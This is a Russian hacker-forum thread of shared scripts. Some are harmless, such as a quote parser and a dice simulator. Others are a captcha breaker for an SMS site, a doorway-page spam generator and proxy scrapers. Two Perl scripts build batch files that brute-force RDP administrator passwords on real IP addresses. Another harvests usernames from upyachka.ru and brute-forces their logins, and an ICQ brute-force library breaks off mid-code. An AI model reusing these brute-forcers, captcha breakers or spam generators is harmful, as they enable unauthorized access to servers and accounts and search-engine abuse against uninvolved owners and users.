try: print '\nunhex: ' + base64.binascii.unhexlify(ena)
except: print 'unhex: n0 d3c0ded..'
try: print 'unbase64: ' + base64.binascii.a2b_base64(ena)
except: print 'unbase64: n0 d3c0ded..'
try: print 'unurl: ' + urllib.unquote(ena)
except: print 'unurl: n0 d3c0ded..'
:o
Мое первое творение.Критика приветствуется
Парсер башорга с указанием кол-ва цитат + приятный диз :)
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Bash.Org.Ru Reader</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel="stylesheet" href="includes/modalbox.css" type="text/css" media="screen" />
<style type="text/css">body, input, select {font-family : Arial, sans-serif;}
input, select, textarea {
background: #C0FF82;
border: 1px dotted Green;
color: Black;
margin-bottom: 5px;
}
form {
border: 1px dotted Green;
color: Black;
padding-left: 5px;
padding-top: 3px;
margin-bottom: 3px;
}
body {
background-color: #FEFF68;
margin: 0px;
padding: 2px;
color: Black;
font-size: small;
}
img {vertical-align: bottom;}
a {
color: Blue;
}
a:hover {color: Blue;}
a:link {color: Blue;}
a:visited {color: Blue;}
a:active {
color: Blue;
}
h3 {
margin: 3px;
}
div.head {
background-color: #C0FF82;
border: thin dashed Green;
text-align: center;
padding: 5px;
margin-bottom: 2px;
}
div.title {
background-color: #C0FF82;
border: thin dashed Green;
text-align: left;
padding: 3px;
margin-bottom: 2px;
}
div.body {
text-align: center;
padding-bottom: 5px;
}
div.bodyleft {
text-align: left;
padding-bottom: 5px;
}
div.body_t {
border-left: thin dashed Green;
border-right: thin dashed Green;
border-top: thin dashed Green;
margin-top: 5px;
margin-bottom: 2px;
}
div.body_h {
text-align: center;
background-color: #C0FF82;
padding: 3px 3px 3px 3px;
}
div.privat_from {
background-color: #9ACD34;
color: Black;
}
div.privat_to {
background-color: #D98D00;
color: Black;
}
div.foot {
background-color: Green;
text-align: center;
font-size: 10px;
}
span.foot {
background-color: Green;
color: Yellow;
}
a.priv {
color: Black;
}</style></head> <body>
<?php
error_reporting(0);
$action=$_POST['action'] ;
$action=ereg_replace("[^0-9]", "60", $action);
if ($action>51)
{ echo "Не корректно<br>
<form method='post' action=''>
<INPUT TYPE='submit' VALUE='Ввести еще раз'>
<input type='hidden' name='lol' value='false'>
</form><br><br>";break; }
if ($_POST['lol']=='true'){
echo "<form method='post' action=''>
<INPUT TYPE='submit' VALUE='Новое значение'>
<input type='hidden' name='lol' value='false'></form><br><br>";
$page = file_get_contents('http://bash.org.ru/');
preg_match_all('|<div>(.+)</div>|',$page,$result);
for($i=0;$i<$action;$i++){
if (($i<>10)) {
echo "<font color=black>".$result[1][$i]."</font><br><br><div class='title' id='6689'></div><br>";}
}
echo "<form method='post' action=''>
<INPUT TYPE='submit' VALUE='Новое значение'>
<input type='hidden' name='lol' value='false'></form><br>";
}
else { echo "Введите количество первых цитат на странице <b>(от 1 до 51)</b> <br>
<form method='post' action=''>
<input type='text' name='action' value='' size=2>
<INPUT TYPE='submit' VALUE='Передать'>
<input type='hidden' name='lol' value='true' > </form>";}
echo "(с) <b><a href='http://forum.antichat.ru/member.php?u=56330'>fatalo</a href></b>";
?>
</div>
</form>
</div>
<div>
</div>
</body>
</html>
<?php
/**
* Name: Simple reCaptcha
* Author: mr.The
* Icq: 11889888
* Jabber: mr.The@jabber.org
* Description: Функция распознавания примитивной цифровой капчи(Раньше такая была на beesms.beeline.ua). Таблица соответствий составлена для него. можно попробовать изменить на другуй примитивную капчу. Удачи.
* Use: В качестве параметра функция принимает адрес к капче.
**/
function get_captcha($name){
$chars=array( // chr array
"00000000111100000000000000011111100000000000001100 00110000000000011000000110000000000110000001100000 00000011000011000000000000011111100000000000000011 1100000000" => "0",
"00000011000000100000000001111111111000000000011111 1111100000" => "1",
"00000011000001100000000001100000111000000000010000 01101000000000010000110010000000000110011000100000 0000001111000010000000000001100000100000" => "2",
"00000100010000100000000001000100001000000000011011 10011000000000001110111100000000000001000110000000" => "3",
"00000000011100000000000000001101000000000000000110 01000000000000001100010000000000000111111111100000 00000111111111100000" => "4",
"00000111110010000000000001111100110000000000010001 00011000000000010010000010000000000100100000100000 00000100110001100000000001000111110000000000000000 1110000000" => "5",
"00000001111110000000000000111111110000000000011000 10011000000000010001000010000000000100010000100000 0000011001100110000000000011001111000000" => "6",
"00000100000001100000000001000000111000000000010000 01100000000000010000110000000000000100011000000000 00000100110000000000000001111000000000000000011100 0000000000" => "7",
"00000001000110000000000000111011110000000000011011 10011000000000010001000010000000000100010000100000 00000110111001100000000000111011110000000000000100 0110000000" => "8",
"00000011110011000000000001100110011000000000010000 10001000000000010000100010000000000110010001100000 0000001111111100000000000001111110000000" => "9");
$image=ImageCreateFromJpeg($name);
$K=100; // коэф. черного цвета.
$x_max=50; //размер картинки
$y_max=20; //размер картинки
$char_num=0;
$column_num=0;
for($x=0;$x<$x_max;$x++){
$sum=0;
$str="";
for($y=0;$y<$y_max;$y++){
//if($y==0) echo "<br>";
$color=imagecolorsforindex($image, imagecolorat($image, $x, $y));
if($color['red']<=$K and $color['green']<=$K and $color['blue']<=$K) { // вычислям черный или нет. 1 или 0 соответственно.
$str.="1";
$sum++;
} else {
$str.="0";
}
};
if($sum>2) {
@$char[$char_num].=$str;
$column_num++;
} else {
$char_num++;
$column_num=0;
};
};
foreach($char as $key => $value){
if(strlen($value)<60) unset($char[$key]);
};
$capcha="";
foreach($char as $key){
if(isset($chars[$key])) $capcha.=$chars[$key]; else $capcha.="X"; // если не распознали символ, то X.
}
return trim($capcha);
ImageDestroy($image);
}
?>
кагбэ вот. выложил за неактуальностью. можно попробовать переделать под аналогичную капчу, либо найти такую-же. Распознавал капчи вида http://i.piccy.info/i3/99/e6/2ed80f8f6e3e5ef8ebe4e2364fe6.jpeg со 100% вероятностью.
ЗЫ. пробелов в таблице соответствий НЕТ.
ЗЫЫ. по просьбам трудящихся: линк (http://mrthe.name/trash/reCaptcha.rar)
Функция возвращает строку с выделенными ссылками.
Т.е. передаем: Зайдите на сайт www.site.ru
Возвращает: Зайдите на сайт <a href="http://www.site.ru">www.site.ru</a>
function light_urls($document)
{
return preg_replace("/(http:\\/\\/|www.)(\\S+)/si",
"<a href=\"http://\\2\">\\2</a>",
$document);
}
ЗЫ может кому пригодится.
Симулятор кидания костей.Показывает количество выпавших комбинаций,количество киданий и сумму всех выпавших чисел(switch case не использовал по определённым причинам)
<b><font color="red">Симулятор кидания костей</font></B>
<?
for
($i=1;$i<=20000;$i++)
{
$z=rand(1,6);
$c=rand(1,6);
$m=$z+$c;
$y=$y+$m;
if ($m==2)
{ $w2=$w2+1;}
if ($m==3)
{ $w3=$w3+1;}
if ($m==4)
{ $w4=$w4+1;}
if ($m==5)
{ $w5=$w5+1;}
if ($m==6)
{ $w6=$w6+1;}
if ($m==7)
{ $w7=$w7+1;}
if ($m==8)
{ $w8=$w8+1;}
if ($m==9)
{ $w9=$w9+1;}
if ($m==10)
{ $w10=$w10+1;}
if ($m==11)
{ $w11=$w11+1;}
if ($m==12)
{ $w12=$w12+1;}
}
echo "<br><b>2</b>: ".$w2."<br>";echo "<b>3</b>: ".$w3."<br>";echo "<b>4</b>: ".$w4."<br>";echo "<b>5</b>: ".$w5."<br>";echo "<b>6</b>: ".$w6."<br>";echo "<b>7</b>: ".$w7."<br>";echo "<b>8</b>: ".$w8."<br>";echo "<b>9</b>: ".$w9."<br>";echo "<b>10</b>: ".$w10."<br>";echo "<b>11</b>: ".$w11."<br>";echo "<b>12</b>: ".$w12."<br>";
echo "<b>Количество бросков:</b> ".$i."<br>";
echo "<b>Общая сумма:</b> ".$y;
?>
<br><font color="gray">Показывает количество выпавших комбинаций,количество киданий и сумму всех выпавших чисел
<br>by <b><a href='http://forum.antichat.ru/member.php?userid=56330'>fatalo</a href></b></font>
ВСЕ коментарии приветствуются!
2 art2222
Быстрее и удобнее будет писать <a href="http://www.site.ru">www.site.ru</a> без всякого php,зачем лишние нагрузки ?
RCounter 1.3
Графический счётчик на сайт.
Требуется:
- PHP
- GD2
В архиве:
counter.php - сама программа (ссылаться как на картинку)
counter.txt - база данных (дата, хиты, хосты, ипы...)
cImg_1.png - фоновый рисунок
cImg_2.png - второй фоновый рисунок
cImg_1.psd - PSD файл фонового рисунка
База данных вида:
182:13:08.02.09:237:28
212.3.144.173
94.179.98.182
81.25.36.188
89.250.2.150
93.189.204.67
89.105.226.15
79.172.28.66
80.81.223.50
93.100.248.127
213.231.37.30
87.228.83.23
92.100.6.99
212.3.144.54
Первая строка содержит Хиты_за_день:Хосты_за_день:С егодняшнюю_дату:Все_хиты:Вс е_хосты
Последующие строки содержат IP адреса зашедших за сегодняшний день.
http://develop.clubweb.ru/counter/counter.php (http://develop.clubweb.ru)
Качнуть (http://develop.clubweb.ru/counter/counter_1.3.rar)
De-visible
09.02.2009, 02:13
Парсер башорга, приятный вывод в файл, глаза не режет...
# -*- coding: cp1251 -*-
#BashOrg Parser
#c0ded By De-v aka De-visible
#http://forum.devisible.ru
#http://forum.antichat.ru
#HomePage: http://devisible.ru/wordpress/?p=109
import urllib,re,time
page="300" #Страница которую парсить...
URLtext=urllib.urlopen("http://bash.org.ru/index/"+page)
txt=URLtext.read()
txt_=re.findall(r"<div>(.*?)<\/div>",txt.decode('cp1251'))
f=open("Bash.htm","a")
f.write('<html><body bgcolor="#666666" text=\"#D2D2D2\">')
for g in xrange(len(txt_)):
f.write('\n<br>'+'<div align="center">\
<table border="1" width="100%" cellspacing="1" id="table1">\
<tr>\
<td bordercolor="#C0C0C0"><br>\
<code><blockquote><p>'+txt_[g].encode('cp1251')+'</p></blockquote><br>\
</code></td>\
</tr>\
</table>\
</div>'+'<br><br>\n')
f.write('</body>\n</html>\n')
f.close
print u"Готово"
while 1:
time.sleep(5)
+ в аттаче...
http://devisible.ru/wordpress/?p=109
http://forum.devisible.ru
Простенький генератор дорвеев. Создаёте две папки out и tpl, в первой будут сгенерированные страницы, а в tpl должен лежать шаблон генерируемой страницы. Скрипт работает и с русскими ключевыми словами.
index.php
<?php if ($_POST['generate']) { generate(); }else { main_form(); } function generate() { $p=array(); if ($_POST['tpl'] && $_POST['keywords']) { $_POST['keywords']=ereg_replace("(\r\n|\r)","\n",$_POST['keywords']); $keys=explode("\n",trim($_POST['keywords'])); /* create pages array */ for($i=0;$i<intval($_POST['count']);$i++) { list($k,$v)=each($keys); if (!$v) { reset($keys); list($k,$v)=each($keys); } if (in_array(trim($v),$p)) { $v=trim($v).'_'.$i; } $p[]=trim($v); } /* prepare template */ $tpl=implode('',file('./tpl/'.$_POST['tpl'])); /* generate links */ $z=1; reset($p); while(list($k,$v)=each($p)) { $name=str_replace(' ','_',$v); $l.='<a href="'.trim($z++).'.html">'.trim($v).'</a> '; } /* generate pages */ reset($p); while(list($k,$v)=each($p)) { $k++; $name=trim($k++); $tpl_out=str_replace('{TITLE}',$v,$tpl); $tpl_out=str_replace('{KEYWORDS}',ereg_replace("(\r\n|\n|\r)","",implode(', ',$keys)),$tpl_out); $tpl_out=str_replace('{DESC}',ereg_replace("(\r\n|\n|\r)","",implode(' ',$keys)),$tpl_out); $tpl_out=str_replace('{LINK}',$l,$tpl_out); $tpl_out=str_replace('{I}',$k,$tpl_out); $tpl_out=str_replace('{ENTER}',trim($_POST['enter']),$tpl_out); $fp=fopen('./out/'.$name.'.html','w'); fwrite($fp,$tpl_out); fclose($fp); print 'pages created -> '.$name.'.html<br>'; flush(); } print '<font size=7 color="#FF0000">Захуярено!</font>'; }else { print 'Блядь! Шаблон и слова где ****? <br>'; } } function main_form() { ?> <table width="400" border="0" cellspacing="2" cellpadding="0" align="center"> <form action="" method="post"> <tr> <td>Стараниц стока:</td> <td><input type="text" name="count" size="5" maxlength="5" value="5"></td> </tr> <tr> <td><br>Вот шаблон:<br><br><br></td> <?php $a=array(); if ($handle = opendir('./tpl')) { while (false !== ($file = readdir($handle))) { if ($file != "." && $file != ".." && is_file('./tpl/'.$file)) { $a[]=$file; } } closedir($handle); } ?> <td><select name="tpl"> <?php while(list($k,$v)=each($a)) {?> <option value="<?php print $v;?>"><?php print $v;?></option> <?php } ?> </select> </td> </tr> <tr> <td><br>Куда потом:<br><br><br></td> <td><input type="text" name="enter" size="40" value="http://"></td> </tr> <tr> <td>Ключевые словишки:</td> <td><br> <textarea cols="30" rows="10" name="keywords"> слово слово 2 и так далее </textarea> </td> </tr> <tr><td colspan="2"><input type="submit" name="generate" value="Захуярить!"></td></tr> </form> </table> <?php } ?>
tpl.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN"> <html> <head> <title>{TITLE}</title> <meta http-equiv="KEYWORDS" content="{KEYWORDS}"> <meta http-equiv="DESCRIPTION" content="{DESC}"> </head> <body> <br> <br> <br> <div align="center"><a href="{ENTER}">ENTER</a></div> <br> <br> <br> <div align="center">{LINK}</div> </body> </html>
Разумеется index.php должен лежать в корне.
-=Static=-
12.02.2009, 16:02
<?php
/**
* Ф-ция выполняющая деления одного числа на другое столбиком (как в младших классах школы)
* Диапазон допустимых значений: Только положительные числа длинной от 1 до 100 символов.
*
* $a - Делимое
* $b - Делитель
*
* Возвращаемый результат: array(int Результат, int Остаток)
*
* Коды ошибок:
* -1 = Делимое не попадает в допустимый диапазон
* -2 = Делитель не попадает в допустимый диапазон
* -3 = Делитель больше делимого
* -4 = Делитель <= 0
* -5 = Делимое <= 0
*/
function columnDivision($a, $b)
{
$a = strval($a);
$b = strval($b);
$aLen = strlen($a);
$bLen = strlen($b);
if ($aLen < 1 || $aLen > 100) return -1;
if ($bLen < 1 || $bLen > 100) return -2;
if ($b > $a) return -3;
if ($b <= 0) return -4;
if ($a <= 0) return -5;
$rest = substr($a, 0, $bLen);
$result = "";
for($i = $bLen; $i <= $aLen; $i++) {
$j = 0;
while($rest >= $b) {
$j++;
$rest -= $b;
}
$result .= $j;
if (isset($a[$i])) $rest .= $a[$i];
}
return array(intval($result), intval($rest));
}
if (file_exists("input.txt")) {
$bufer = file_get_contents("input.txt");
$arInput = explode(" ", $bufer);
$arResult = columnDivision(intval($arInput[0]), intval($arInput[1]));
file_put_contents("output.txt", implode(" ", $arResult));
echo 'Division is complite. Result write in file <b>output.txt</b>';
} else {
echo 'No input file. <b>:(</b>';
}
Скрипт грабит HTTP прокси с первых 3-х страниц сайта samair.ru
<?
for($i=1;$i<3;$i++){
$file = file_get_contents('http://www.samair.ru/proxy/proxy-0'.$i.'.htm') ;
preg_match_all('#[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\:[0-9]{1,5}#', $file, $out);
foreach($out[0] as $line)
{
print $line."<br>";
}
}
?>
Pashkela
12.02.2009, 21:56
ыыыыы, а так?
<Pre>
<?
@set_time_limit(0);
@ini_set("display_errors","1");
$kol = 1; // Кол-во страниц
if ($kol<10) $kol="0$kol";
While ($i<=$kol) {
$i++;
$file = file_get_contents('http://www.samair.ru/proxy/proxy-' .$kol. '.htm') ;
preg_match_all('/([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+\:[0-9]+)/is', $file, $out);
foreach($out[0] as $line)
{
echo "$line\n";
}
}
?>
</pre>
Pashkela я новичок в коддинге ;)
Можно в принципе и так,но скорость работы же не увеличивается...
Pashkela
12.02.2009, 23:08
Да нет, всё нормально, просто тут продвинутый сайт бол-мен, по этому принято обычно выкладывать действительно полезные скрипты, а не какие-то свои первые наработки. Без обид.
Вот еще только что написал один граббер для имхо хорошоге сайта с проксями(ProxyFire.net)
<?
//c0ded by Gaus//
echo "<b>HTTP elite</b><br>";
$file = file_get_contents('http://www.proxyfire.net/index.php?pageid=eliteproxylist') ;
preg_match_all('/<tr ><td>(.*?)\⃧\;<\/td><td>(.*?)<\/td><td>/', $file, $out);
foreach($out[0] as $line)
{
list($ip,$port) = explode("⃧", rtrim($line));
print $ip.":".$port."<br>";
}
echo "<b>HTTP anon.</b><br>";
$file = file_get_contents('http://www.proxyfire.net/index.php?pageid=anonymousproxylist') ;
preg_match_all('/<tr ><td>(.*?)\⃧\;<\/td><td>(.*?)<\/td><td>/', $file, $out);
foreach($out[0] as $line)
{
list($ip,$port) = explode("⃧", rtrim($line));
print $ip.":".$port."<br>";
}
?>
Граббер SOCKS с ProxyFire.net
<?
//c0ded by Gaus//
echo "<b>SOCKS4</b><br>";
$file = file_get_contents('http://www.proxyfire.net/index.php?pageid=socks4proxylist') ;
preg_match_all('/<tr ><td>(.*?)\⃧\;<\/td><td>(.*?)<\/td><td>/', $file, $out);
foreach($out[0] as $line)
{
list($ip,$port) = explode("⃧", rtrim($line));
print $ip.":".$port."<br>";
}
echo "<b>SOCKS5</b><br>";
$file = file_get_contents('http://www.proxyfire.net/index.php?pageid=socks5proxylist') ;
preg_match_all('/<tr ><td>(.*?)\⃧\;<\/td><td>(.*?)<\/td><td>/', $file, $out);
foreach($out[0] as $line)
{
list($ip,$port) = explode("⃧", rtrim($line));
print $ip.":".$port."<br>";
}
?>
универсальний граббер ір'шек.
(можно использовать для граббинга прокси/сокси/..)
@proxy_serv - масив с сайтами. можна добавить и свой)
perl:
use IO::Socket;
# eLwaux
# iCQ 7434214
print q[
proxy grabber
..eLwaux(c)2009
]."\n";
#=-=-=-=--==-====--=-======-=-=-=-==-====-=-==-=--==-==-=-=-=-==-=-=-=-=-==-=-
my $print_proxy = 0;
my $result_file = 'proxy.txt';
my @proxy_serv = (
'http://http.proxylife.org/index.php?sort=down_speed&sortby=desc',
'http://www.samair.ru/proxy/index.html',
'http://proxy.asechka.ru/index.php?page=proxylist',
'http://madnet.name/tools/proxy/index.php');
#=-=-=-=--==-====--=-======-=-=-=-==-====-=-==-=--==-==-=-=-=-==-=-=-=-=-==-=-
my $all_pr = 0;
foreach my $proxy_s(@proxy_serv) {
my ($host) = ($proxy_s=~'http://([\w\.]+)/.*');
print ' -- '.$host."\n";
$re = POST($proxy_s);
@ips = split(/\n/,ip_parce($re));
$all_pr+=scalar(@ips);
foreach my $ip(@ips){
print ' '.$ip."\n" if ($print_proxy==1);
s2f($result_file,$ip."\n");
}
print ' get '.scalar(@ips)." proxy\n\n";
}
print ' get: '.$all_pr.' proxy';
<stdin>;
exit;
#=-=-=-=--==-====--=-======-=-=-=-==-====-=-==-=--==-==-=-=-=-==-=-=-=-=-==-=-
sub ip_parce { #list
my $result;
my $ips = $_[0];
while ($ips=~/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):{0,}(\d{1,5}) {0,}/) {
my ($ip,$port)=($1,$2);
$port = '8080' if ($port eq '');
$result.="$ip:$port\n";
substr($ips,0,index($ips,$ip)+length($ip))='';
}
return $result;
}
sub POST {#url
my $url = $_[0];
if ($url =~ 'http://([\w\.]+)/.*') {$host=$1};
$header = "POST ".$url." HTTP/1.1\r\n".
"Host: ".$host."\r\n".
"Content-Length: 0\r\n\r\n".
"\r\n\r\n";
my $sock = sock($host);
print $sock $header;
while (my $a = <$sock>) {if($a=~/<.html>/){last;} else {$answ.=$a;}}
#sysread($sock,$answ,100000);
close($sock);
return $answ;
}
# create socket
sub sock {#host
my $sock;
do {
$sock = new IO::Socket::INET
( PeerAddr => $_[0],
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 10);
} while (!$sock);
return $sock;
}
# save file
sub s2f {# filename, text
open(FILE, '>>'.$_[0]);
flock(FILE, LOCK_EX);#lock file
print FILE $_[1];
flock(FILE, LOCK_UN);#unlock file
close(FILE);
}
# read file
sub r2f { #filename
open(DESC, $_[0]);
read(DESC,my $result,-s $_[0]);
close(DESC);
return $result;
}
моя маленькая утилита для брута дедов.
на входе 3389.txt
на виходе "! VNC.bat".
в скрипте можно изменить:
$VNC = 'программа';
$port = 'порт';
$thread = 'потоков';
в результате будет создан файл $VNC с содержимим:
$VNC -i 1.2.3.4-5.6.7.8 -p $port -cT -T $thread
пример:
VNC.exe -i 195.79.127.104-195.79.127.111 -p 3389 -cT -T 2000
use Fcntl ':flock';
$VNC = 'VNC.exe';
$port = '3389';
$thread = '2000';
my $m = '';
open myFILE, "<3389.txt" or die $!;
while (<myFILE>) {
@c = split(/\s/,$_);
$m = $VNC.' -i '.@c[0].'-'.@c[1].' -p '.$port.' -cT -T '.$thread;
open(FILE, '>>! VNC.bat') || die(" [-] could not save file!\n");
flock(FILE, LOCK_EX);
print FILE $m."\n";
flock(FILE, LOCK_UN);
close(FILE);
}
close myFILE;
после брута ір с помощью VNC.exe прога создает VNC_bypauth.txt, в котором много нужних вам ір вида "195.80.10.131 :3389 ".
етот скрипт витягивает из VNC_bypauth.txt ір, и формирует готовий .bat файл для брута дедов "! GO.bat" tss-brute'ом.
в скрипте изменяем:
$tss = 'полний путь до tss-brute';
$pass = 'полний путь до словаря с паролями';
$fold = 'папка для врем файлов//';
$port = ':порт';
$file = 'VNC_bypauth.txt';
в результате будет что-то типа:
"D:\Sorted\ded\4\tss-brute.exe" -w "D:\Sorted\ded\4\pass.txt"-u administrator 195.80.10.131 >>res//195.80.10.131
"D:\Sorted\ded\4\tss-brute.exe" -w "D:\Sorted\ded\4\pass.txt"-u administrator 195.80.10.107 >>res//195.80.10.107
"D:\Sorted\ded\4\tss-brute.exe" -w "D:\Sorted\ded\4\pass.txt"-u administrator 195.80.11.26 >>res//195.80.11.26
"D:\Sorted\ded\4\tss-brute.exe" -w "D:\Sorted\ded\4\pass.txt"-u administrator 195.80.13.243 >>res//195.80.13.243
#eLwaux
use Fcntl ':flock';
$tss = 'D:\Sorted\ded\4\tss-brute.exe';
$pass = 'D:\Sorted\ded\4\pass.txt';
$fold = 'res//';
$port = ':3389';
$file = 'VNC_bypauth.txt';
my $m = '';
open(DESC, $file);
read(DESC,$res,-s $file);
close(DESC);
while ($res ne '') {
if ($res=~/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s+$port/){
($ip)=$1;
print $ip."\n";
open(FILE, '>>! GO.bat') || die(" [-] could not save file!\n");
flock(FILE, LOCK_EX);
print FILE '"'.$tss.'" -w "'.$pass.'"-u administrator '.$ip.' >>'.$fold.$ip."\n";
flock(FILE, LOCK_UN);
close(FILE);
$res = substr($res, index($res,$ip)+length($ip), length($res));
} else {$res='';}
}
#eLwaux
PR, тиЦ чекер на perl'e через сайт www.pr-cy.ru
pr-tic.pl сервер
сервер по умолчанию - google.com
#! /usr/bin/perl -eLwaux
use IO::Socket;
use warnings;
my $site = $ARGV[0] || 'google.com';
$header = "POST http://www.pr-cy.ru/analysis/?url=".$site." HTTP/1.1\r\n".
"Host: pr-cy.ru\r\n".
"User-Agent: eL!\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Connection: Close\r\n".
"Content-Length: 0\r\n\r\n".
"\r\n\r\n";
my $sock = sock();
print $sock $header;
#my $answ = '';
#my $answer = '';
#while($answer = <$sock>){$answ .= $answer;}
read($sock,my $answ,100000);
print cyr("\n ".$site."\n\n");
# заголовок
if (($answ)=~/<b class="grey">Заголовок:<\/b>(.*)<br \/>/) {
print cyr(' Заголовок: '.$1."\n")
}
# ip
if (($answ)=~/<b class="grey">IP:<\/b> (\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\s+/) {
print cyr(' IP: '."$1.$2.$3.$4"."\n")
}
# тиЦ
if (($answ)=~/Яндекс тИЦ<\/td>[\s|\t]+<td width="25%" align="right" bgcolor="#eef2f5">(.*)<\/td>/) {
print cyr(' тИЦ : '.$1."\n");
}
# PR
if (($answ)=~/PageRank<\/td>[\s|\t|\n]+<td width="25%" align="right" bgcolor="#eef2f5">(.*)<\/td>/) {
print cyr(' PageRank : '.$1."\n");
}
<stdin>;
exit;
close($sock);
<stdin>;
#create new socket connection
sub sock {
my $sock;
do {
$sock = new IO::Socket::INET
(
PeerAddr => 'pr-cy.ru',
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 10
) or print "[-] connection error!";
} while (!$sock);
return $sock;
}
sub cyr {
$phrase = shift;
$phrase =~ y/А-яЁё/\x80-\xaf\xe0-\xf1/;
return $phrase;
}
#================================================= ============================
#================================================= ============================
месяц назад многие из "болталки" просили инвайт на upyachka.ru.
вот мой брутер
пароли в pass.txt кладем
perl:
#================================================= ============================
#================================================= ============================
use IO::Socket;
sub up{#num
$header = "POST http://upyachka.ru/".$i."/ HTTP/1.1\r\n".
"Host: upyachka.ru\r\n".
"User-Agent: upyachka\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Connection: Close\r\n".
"Content-Length: 0\r\n\r\n".
"\r\n\r\n";
my $sock = sock();
print $sock $header;
my $res = '';
my $answer = '';
while($answer = <$sock>){$res .= $answer;}
close($sock);
return $res;
}
sub login{#name,pass
my $post = 'login='.$_[0].'&pass='.$_[1].'&submit=Йаррр!';
my $header = "POST http://upyachka.ru/".$i."/ HTTP/1.1\r\n".
"Host: upyachka.ru\r\n".
"User-Agent: upyachka\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Connection: Close\r\n".
"Content-Length: ".length($post)."\r\n\r\n".
"$post\r\n\r\n";
my $sock = sock();
print $sock $header;
my $res = '';
my $answer = '';
while($answer = <$sock>){$res .= $answer;}
if ($res =~ /<input name=.login. type=.text. value=..><br>/) {print '-'.cyr($_[0]).':'.cyr($_[1])."\n";} else
{print '+++++++'.cyr($_[0]).':'.cyr($_[1])."\n";}
close($sock);
return $res;
}
my @u;
for ($i=1;$i<15;$i++){
print $i."...\n";
$res = up($i);
while(length($res)>1) {
$b = 0;
$res =~ /<SPAN class=.user.logout. noinfo=.true.>(\W+|\w+)<\/SPAN> написал/;
$res=substr($res,index($res,$1.'</SPAN> нап')+length($1.'</SPAN> нап'),length($res));
foreach my $xx(@u) {if ($xx eq $1) {$b=1;} else {$b=0;}}
@u[scalar(@u)]=$1 if ($b==0);
}
}
print 'getted: '.scalar(@u).' names..'."\n";
print "brute:\n";
##brute
open (FILE, '<pass.txt');
my @pass : shared = <FILE>;
chomp(@pass);
close(FILE);
foreach my $xx(@u) {
foreach my $ps(@pass){
login($xx,$ps);
}
login($xx,$xx);
}
<stdin>;
#================================================= ============================
#================================================= ============================
#create new socket connection
sub sock {
my $sock;
do {
$sock = new IO::Socket::INET
(
PeerAddr => 'upyachka.ru',
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 10
) or print "[-] connection error!";
} while (!$sock);
return $sock;
}
sub cyr
{
$phrase = shift;
$phrase =~ y/А-яЁё/\x80-\xaf\xe0-\xf1/;
return $phrase;
}
#================================================= ============================
#================================================= ============================
только что написал брут асек на пыхе, может кому пригодится
icqlib.php
<?
class ICQclient
{
var $socket, $server, $port, $connected;
var $uin, $password, $logged;
var $client = array(), $sequence, $TLV = array();
var $uin_sendto, $message;
function ICQclient($uin, $password)
{
$this->server = "login.icq.com";
$this->port = 5190;
$this->uin = (string )$uin;
$this->password = $password;
$this->client = array("name" => "icqlib.php", "country" => "ru", "language" =>
"ru", "major" => 1, "minor" => 0, "lesser" => 0, "build" => 1);
}
function connect()
{
$this->socket = @fsockopen($this->server, $this->port);
if (!$this->socket)
return false;
else
{
$this->connected = true;
return true;
}
}
function connect_migration()
{
list($server, $port) = explode(":", $this->TLV[0x05]);
$this->socket = @fsockopen($server, $port);
}
function login()
{
if (!$this->connected)
$this->connect();
if (!$this->connected)
return false;
$this->receive_packet();
$this->sequence = rand(0x0000, 0xFFFF);
$this->send_packet("login");
$SNAC = $this->receive_packet();
$this->parse_SNAC($SNAC);
if (!(@$this->TLV[0x05] and @$this->TLV[0x06]))
return false;
$this->connect_migration();
$this->send_packet("cookie");
$this->receive_packet();
$this->send_packet("ready");
$this->receive_packet();
$this->logged = true;
return true;
}
function send_message($uin, $message)
{
if (!$this->logged)
return false;
$this->uin_sendto = $uin;
$this->message = $message;
$this->send_packet("message");
$this->receive_packet();
return true;
}
function getstatus($uin)
{
if (!$this->logged)
return false;
$this->uin_sendto = $uin;
$this->send_packet("userinfo");
$SNAC = $this->receive_packet();
list(, $subfamily) = unpack("C", $SNAC[3]);
if ($subfamily == 6)
{
list(, $uin_length) = unpack("C", $SNAC[10]);
$this->parse_SNAC(substr($SNAC, 15 + $uin_length));
if ($this->TLV[6])
list(, $status_code) = unpack("C", $this->TLV[6][3]);
else
$status_code = 0xFF;
switch ($status_code)
{
case 0x00:
$status = "online";
break;
case 0x01:
$status = "away";
break;
case 0x02:
$status = "dnd";
break;
case 0x03:
$status = "dnd";
break;
case 0x04:
$status = "na";
break;
case 0x05:
$status = "na";
break;
case 0x10:
$status = "occupied";
break;
case 0x11:
$status = "occupied";
break;
case 0x13:
$status = "dnd";
break;
case 0x20:
$status = "free4chat";
break;
default:
$status = "undefined";
break;
}
} else
$status = "offline";
return $status;
}
function disconnect()
{
$this->connected = $this->logged = false;
return @fclose($this->socket);
}
function log_packet($packet, $type = "packet")
{
global $debug_log;
$debug_log .= "<p>$type:<br>";
for ($i = 0; $i < strlen($packet); $i++)
{
if (strlen(strtoupper(dechex(ord($packet[$i])))) == 1)
$debug_log .= "0";
$debug_log .= strtoupper(dechex(ord($packet[$i]))) . " ";
}
$debug_log .= "</p>";
}
function send_packet($type)
{
global $debug;
list($channel, $SNAC) = $this->gen_SNAC($type);
$FLAP = pack("CCnn", 0x2A, $channel, $this->sequence, strlen($SNAC));
$packet = $FLAP . $SNAC;
if ($debug)
$this->log_packet($packet, "send");
@fwrite($this->socket, $packet);
$this->sequence++;
if ($this->sequence == 0xFFFF)
$this->sequence = 0x0000;
}
function receive_packet()
{
global $debug;
$FLAP = @fread($this->socket, 6);
list(, $length) = @unpack("n", substr($FLAP, 4, 2));
$SNAC = @fread($this->socket, $length);
$packet = $FLAP . $SNAC;
if ($debug)
$this->log_packet($packet, "receive");
